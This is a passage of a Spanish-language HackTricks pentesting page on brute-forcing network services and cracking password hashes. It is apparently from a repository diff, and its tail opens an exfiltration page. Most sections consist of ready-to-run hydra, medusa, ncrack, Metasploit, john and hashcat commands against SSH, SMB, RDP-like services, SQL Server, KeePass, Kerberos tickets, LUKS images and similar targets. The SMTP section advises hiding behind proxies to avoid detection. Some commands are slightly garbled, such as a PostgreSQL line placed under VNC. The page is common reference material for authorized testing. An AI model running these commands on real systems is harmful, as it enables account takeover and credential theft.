Rsh (Remote Shell) es un protocolo de red que permite a los usuarios ejecutar comandos en un servidor remoto. Es similar a SSH, pero menos seguro ya que no utiliza cifrado para proteger la comunicación. Rsh se utiliza a menudo en entornos de red antiguos y no se recomienda su uso en la actualidad debido a sus vulnerabilidades de seguridad.
La técnica de fuerza bruta se puede utilizar para intentar adivinar las credenciales de inicio de sesión de Rsh. Esto se puede hacer utilizando herramientas como Hydra o Medusa. Sin embargo, dado que Rsh no utiliza cifrado, es posible que un atacante pueda interceptar las credenciales de inicio de sesión si se envían sin cifrar a través de la red. Por lo tanto, se recomienda encarecidamente no utilizar Rsh y, en su lugar, utilizar protocolos más seguros como SSH.
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync
Rsync es una herramienta de sincronización de archivos que se utiliza comúnmente en sistemas Unix. Es muy útil para sincronizar grandes cantidades de datos entre diferentes sistemas. Rsync utiliza el protocolo RSH (Remote Shell) para conectarse a sistemas remotos y transferir archivos. RSH es un protocolo inseguro que transmite información de autenticación en texto claro, lo que lo hace vulnerable a ataques de sniffing. Por lo tanto, es importante asegurarse de que RSH no esté habilitado en los sistemas que se están utilizando.
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
```
### RTSP
El Protocolo de Transmisión en Tiempo Real (RTSP, por sus siglas en inglés) es un protocolo de red utilizado para controlar la transmisión de medios en tiempo real, como audio y video. Es comúnmente utilizado en sistemas de vigilancia y cámaras IP para transmitir video en vivo. Los ataques de fuerza bruta contra servidores RTSP pueden ser utilizados para obtener acceso no autorizado a los sistemas de vigilancia y cámaras IP.
```bash
hydra -l root -P passwords.txt <IP> rtsp
```
### SNMP
SNMP (Simple Network Management Protocol) es un protocolo utilizado para administrar y supervisar dispositivos de red. Es comúnmente utilizado en dispositivos de red como routers, switches, servidores y firewalls. SNMP utiliza una estructura de datos jerárquica para organizar la información de administración de red.
Los atacantes pueden utilizar SNMP para obtener información sensible sobre la red, como nombres de host, direcciones IP y detalles de configuración. También pueden utilizar SNMP para realizar ataques de fuerza bruta contra contraseñas débiles o predeterminadas en dispositivos de red.
Para protegerse contra los ataques de fuerza bruta de SNMP, es importante utilizar contraseñas fuertes y personalizadas en los dispositivos de red. También se recomienda deshabilitar SNMP en los dispositivos que no lo necesitan y limitar el acceso a los dispositivos que lo utilizan.
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
### SMB
El Protocolo de Bloques de Mensajes del Servidor (SMB, por sus siglas en inglés) es un protocolo de red utilizado para compartir archivos, impresoras y otros recursos entre nodos de una red. Es utilizado principalmente en sistemas operativos Windows, pero también puede ser utilizado en otros sistemas operativos.
#### Fuerza Bruta
La fuerza bruta en SMB se puede utilizar para intentar adivinar contraseñas de usuarios. Hay varias herramientas disponibles para realizar ataques de fuerza bruta en SMB, como Hydra y SMBMap.
Para realizar un ataque de fuerza bruta en SMB, primero se necesita una lista de posibles contraseñas. Luego, se utiliza una herramienta de fuerza bruta para intentar todas las combinaciones posibles de nombres de usuario y contraseñas hasta que se encuentre la correcta.
Es importante tener en cuenta que los ataques de fuerza bruta pueden ser detectados por los sistemas de seguridad y pueden llevar a la cuenta de usuario bloqueada o a la cuenta de atacante bloqueada. Por lo tanto, se recomienda utilizar técnicas de ataque más avanzadas y menos intrusivas, como la explotación de vulnerabilidades conocidas o la ingeniería social.
```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
```
### SMTP
SMTP (Simple Mail Transfer Protocol) es un protocolo utilizado para enviar correos electrónicos a través de Internet. Los servidores SMTP autenticados suelen requerir credenciales de inicio de sesión válidas para enviar correos electrónicos.
#### Fuerza bruta
La fuerza bruta en los servidores SMTP se puede utilizar para adivinar credenciales de inicio de sesión válidas. Esto se puede hacer utilizando herramientas como Hydra o Medusa. También se pueden utilizar listas de contraseñas comunes para intentar adivinar la contraseña correcta.
Además, se puede intentar adivinar el nombre de usuario correcto utilizando técnicas de enumeración de usuarios. Esto se puede hacer utilizando herramientas como Metasploit o Nmap.
Es importante tener en cuenta que la fuerza bruta en los servidores SMTP puede ser detectada fácilmente por los sistemas de seguridad, por lo que se deben tomar medidas para evitar la detección, como limitar el número de intentos de inicio de sesión o utilizar proxies para ocultar la dirección IP del atacante.
```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
```
### SOCKS
SOCKS (Socket Secure) es un protocolo de red que permite a los usuarios de una red privada acceder a Internet de forma segura y anónima. SOCKS actúa como un intermediario entre el cliente y el servidor, permitiendo que el tráfico de red se enrute a través de un servidor proxy. Esto puede ser útil para ocultar la dirección IP del cliente y evitar la detección de actividades maliciosas. Los servidores SOCKS también pueden ser utilizados para eludir las restricciones de red, como los cortafuegos y los filtros de contenido.
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
```
### SSH
El protocolo SSH (Secure Shell) es un protocolo de red que permite a los usuarios conectarse y comunicarse de forma segura con un servidor remoto. SSH utiliza técnicas de cifrado para proteger la información transmitida y autenticación para garantizar que solo los usuarios autorizados puedan acceder al servidor.
El ataque de fuerza bruta contra SSH implica intentar adivinar la contraseña correcta para una cuenta de usuario mediante la prueba de diferentes combinaciones de contraseñas. Los atacantes pueden utilizar herramientas automatizadas para realizar este tipo de ataque. Para evitar este tipo de ataque, se recomienda utilizar contraseñas seguras y complejas, así como la autenticación de dos factores. También se puede limitar el número de intentos de inicio de sesión fallidos permitidos antes de bloquear la cuenta de usuario.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
```
#### Claves SSH débiles / PRNG predecible de Debian
Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser atacado por fuerza bruta con herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). También están disponibles conjuntos pregenerados de claves débiles, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### SQL Server
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### Telnet
Telnet es un protocolo de red que permite la comunicación bidireccional utilizando un canal virtual. Es utilizado principalmente para la administración remota de dispositivos de red a través de una conexión de red. Telnet es un protocolo sin cifrado, lo que significa que la información transmitida a través de Telnet no está protegida y puede ser interceptada por un atacante. Por lo tanto, es importante evitar el uso de Telnet para la administración remota y en su lugar utilizar protocolos seguros como SSH.
Sin embargo, en algunos casos, Telnet puede ser utilizado para realizar ataques de fuerza bruta contra servicios que utilizan este protocolo. En estos casos, se puede utilizar una herramienta de fuerza bruta como Hydra o Medusa para intentar adivinar las credenciales de acceso. Es importante tener en cuenta que este tipo de ataques son ilegales y pueden tener consecuencias graves.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
```
### VNC
VNC (Virtual Network Computing) es un protocolo que permite controlar remotamente un ordenador a través de una red. Es muy utilizado en entornos de soporte técnico y administración de sistemas.
El ataque de fuerza bruta contra VNC consiste en intentar adivinar la contraseña de acceso al servidor VNC. Para ello, se utilizan herramientas como Hydra o Medusa, que permiten automatizar el proceso de prueba de contraseñas.
Es importante tener en cuenta que, en muchos casos, los servidores VNC no están configurados de forma segura, lo que facilita el éxito del ataque de fuerza bruta. Por lo tanto, es recomendable utilizar contraseñas seguras y configurar adecuadamente el servidor VNC para evitar este tipo de ataques.
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
### Winrm
Winrm es un protocolo de administración remota de Windows que permite a los usuarios administrar y ejecutar comandos en sistemas remotos. Es similar a SSH en sistemas Unix y Linux. Winrm utiliza el puerto 5985 para conexiones HTTP y el puerto 5986 para conexiones HTTPS.
La autenticación en Winrm se puede realizar mediante credenciales de usuario o mediante certificados. Si se utiliza la autenticación basada en certificados, se debe tener en cuenta que el certificado debe ser válido y estar instalado en ambos sistemas, el local y el remoto.
Una técnica común de ataque en Winrm es la fuerza bruta de contraseñas. Los atacantes pueden utilizar herramientas como Hydra o Medusa para intentar adivinar las credenciales de usuario y contraseña. Para evitar este tipo de ataques, se recomienda utilizar contraseñas seguras y políticas de bloqueo de cuentas después de varios intentos fallidos de inicio de sesión.
```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
![](<../.gitbook/assets/image (9) (1) (2).png>)
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Local
### Bases de datos de cracking en línea
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 y SHA1)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 y archivos MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hashes)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Hashes y hashes de archivos)
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Revise esto antes de intentar hacer fuerza bruta a un Hash.
### ZIP
```bash
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Ataque de texto plano conocido en archivos zip
Es necesario conocer el **texto plano** (o parte del texto plano) **de un archivo contenido dentro** del archivo zip cifrado. Puedes verificar **los nombres y tamaños de los archivos contenidos dentro** de un archivo zip cifrado ejecutando: **`7z l encrypted.zip`**\
Descarga [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) desde la página de lanzamientos.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
```
### 7z
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
### PDF
El formato de archivo PDF (Portable Document Format) es ampliamente utilizado para compartir documentos en línea. A menudo, estos documentos contienen información confidencial y pueden ser un objetivo atractivo para los atacantes. Los atacantes pueden intentar realizar ataques de fuerza bruta contra los archivos PDF protegidos con contraseña para obtener acceso no autorizado a la información contenida en ellos.
Los ataques de fuerza bruta contra archivos PDF protegidos con contraseña pueden realizarse utilizando herramientas como `pdfcrack` o `hashcat`. Estas herramientas intentan adivinar la contraseña probando diferentes combinaciones de caracteres hasta que se encuentra la correcta. Es importante tener en cuenta que cuanto más larga y compleja sea la contraseña, más difícil será para el atacante adivinarla.
Además, los atacantes también pueden intentar explotar vulnerabilidades en el software de lectura de PDF para obtener acceso no autorizado a la información contenida en los archivos. Por lo tanto, es importante mantener el software de lectura de PDF actualizado con las últimas actualizaciones de seguridad para reducir el riesgo de explotación de vulnerabilidades.
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```
### Contraseña de propietario de PDF
Para crackear una contraseña de propietario de PDF, revisa esto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT
```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### Descifrado de NTLM
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
### Keepass
Keepass es un gestor de contraseñas de código abierto que permite almacenar y gestionar de forma segura contraseñas y otros datos sensibles. Utiliza una base de datos cifrada con una contraseña maestra para proteger la información almacenada. Keepass también cuenta con funciones de generación de contraseñas aleatorias y autocompletado de formularios web.
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Keberoasting
Keberoasting es una técnica de ataque que aprovecha la debilidad de la encriptación Kerberos en entornos Windows para extraer contraseñas de usuarios con privilegios de cuenta de servicio. El atacante puede extraer los hashes de contraseñas de estas cuentas de servicio y luego utilizar herramientas de cracking para obtener las contraseñas en texto plano.
Para llevar a cabo un ataque de Keberoasting, el atacante necesita tener acceso a una cuenta de usuario con privilegios de cuenta de servicio en el dominio de Windows. Luego, el atacante utiliza una herramienta como "Rubeus" para extraer los hashes de contraseñas de las cuentas de servicio. Estos hashes se pueden guardar en un archivo y luego se pueden utilizar herramientas de cracking como "Hashcat" para obtener las contraseñas en texto plano.
Para prevenir un ataque de Keberoasting, se recomienda limitar el número de cuentas de servicio con privilegios en el dominio de Windows y asegurarse de que las contraseñas de estas cuentas sean lo suficientemente fuertes. También se puede implementar la autenticación multifactor para las cuentas de servicio con privilegios para aumentar la seguridad.
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Imagen de Lucks
#### Método 1
Instalar: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
#### Método 2
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
### Mysql
Mysql es un sistema de gestión de bases de datos relacional de código abierto muy popular. Es utilizado por muchas aplicaciones web y es una de las bases de datos más utilizadas en la web. Debido a su popularidad, es un objetivo común para los atacantes.
#### Fuerza bruta
La fuerza bruta es una técnica común utilizada para obtener acceso no autorizado a una base de datos Mysql. Consiste en probar todas las posibles combinaciones de contraseñas hasta encontrar la correcta. Es importante tener en cuenta que esta técnica puede ser muy lenta y puede requerir una gran cantidad de recursos.
#### Herramientas de fuerza bruta
Hay muchas herramientas de fuerza bruta disponibles para Mysql, como Hydra, Medusa y SQLMap. Estas herramientas pueden ser muy efectivas si se utilizan correctamente, pero también pueden ser peligrosas si se utilizan de manera incorrecta.
Es importante tener en cuenta que la fuerza bruta es ilegal y puede tener graves consecuencias legales. Por lo tanto, solo debe ser utilizada en sistemas que usted tiene permiso para probar.
```bash
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
### Clave privada PGP/GPG
```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
### Cisco
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
### DPAPI Master Key
Utilice [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) y luego john
### Columna protegida por contraseña en Open Office
Si tiene un archivo xlsx con una columna protegida por contraseña, puede desprotegerla:
* **Cárguelo en Google Drive** y la contraseña se eliminará automáticamente
* Para **eliminarla manualmente**:
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .
```
### Certificados PFX
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Herramientas
**Ejemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Hash-identifier
```bash
hash-identifier
> <HASH>
```
### Listas de palabras
* **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
### **Herramientas de generación de listas de palabras**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generador avanzado de teclado con caracteres base configurables, mapa de teclas y rutas.
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
### Mutación de John
Leer _**/etc/john/john.conf**_ y configurarlo.
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
### Hashcat
#### Ataques de Hashcat
* **Ataque de lista de palabras** (`-a 0`) con reglas
**Hashcat** ya viene con una **carpeta que contiene reglas**, pero puedes encontrar [**otras reglas interesantes aquí**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* Ataque de **combinación de listas de palabras**
Es posible **combinar 2 listas de palabras en 1** con hashcat.\
Si la lista 1 contenía la palabra **"hello"** y la segunda contenía 2 líneas con las palabras **"world"** y **"earth"**. Las palabras `helloworld` y `helloearth` serán generadas.
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
* **Ataque de máscara** (`-a 3`)
```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
* Ataque de Wordlist + Máscara (`-a 6`) / Máscara + Wordlist (`-a 7`)
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Modos de Hashcat
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
# Crackeando Hashes de Linux - Archivo /etc/shadow
El archivo `/etc/shadow` es un archivo de sistema en Linux que contiene información de autenticación de usuarios. Este archivo almacena los hashes de las contraseñas de los usuarios en lugar de las contraseñas en texto plano.
Para crackear hashes de contraseñas en Linux, primero debemos obtener acceso al archivo `/etc/shadow`. Esto se puede hacer de varias maneras, como obtener acceso de root o explotar una vulnerabilidad en el sistema.
Una vez que tengamos acceso al archivo `/etc/shadow`, podemos utilizar herramientas como John the Ripper o Hashcat para crackear los hashes de las contraseñas. Estas herramientas utilizan técnicas de fuerza bruta y diccionario para intentar adivinar la contraseña original a partir del hash.
Es importante tener en cuenta que el cracking de hashes de contraseñas es ilegal sin el consentimiento explícito del propietario del sistema. Además, es importante utilizar contraseñas seguras y robustas para evitar que sean crackeadas fácilmente.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
Rompiendo Hashes de Windows
Para romper hashes de Windows, podemos utilizar herramientas como `hashcat` o `John the Ripper`. Ambas herramientas son capaces de romper hashes de Windows de forma eficiente.
Para utilizar `hashcat`, necesitamos una lista de palabras (wordlist) y el hash que queremos romper. Podemos utilizar el siguiente comando:
```
hashcat -m 1000 hash.txt wordlist.txt
```
Donde `-m 1000` indica que estamos rompiendo un hash de Windows, `hash.txt` es el archivo que contiene el hash que queremos romper y `wordlist.txt` es la lista de palabras que utilizaremos para intentar romper el hash.
Para utilizar `John the Ripper`, necesitamos un archivo que contenga los hashes de Windows que queremos romper. Podemos utilizar el siguiente comando:
```
john --format=NT hash.txt
```
Donde `--format=NT` indica que estamos rompiendo un hash de Windows y `hash.txt` es el archivo que contiene los hashes que queremos romper.
Ambas herramientas son muy eficientes y pueden romper hashes de Windows en cuestión de segundos o minutos, dependiendo de la complejidad del hash y de la lista de palabras utilizada.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
Rompiendo Hashes Comunes de Aplicaciones
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

512
generic-methodologies-and-resources/exfiltration.md Normal file
View File

@ -0,0 +1,512 @@
## Exfiltración
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
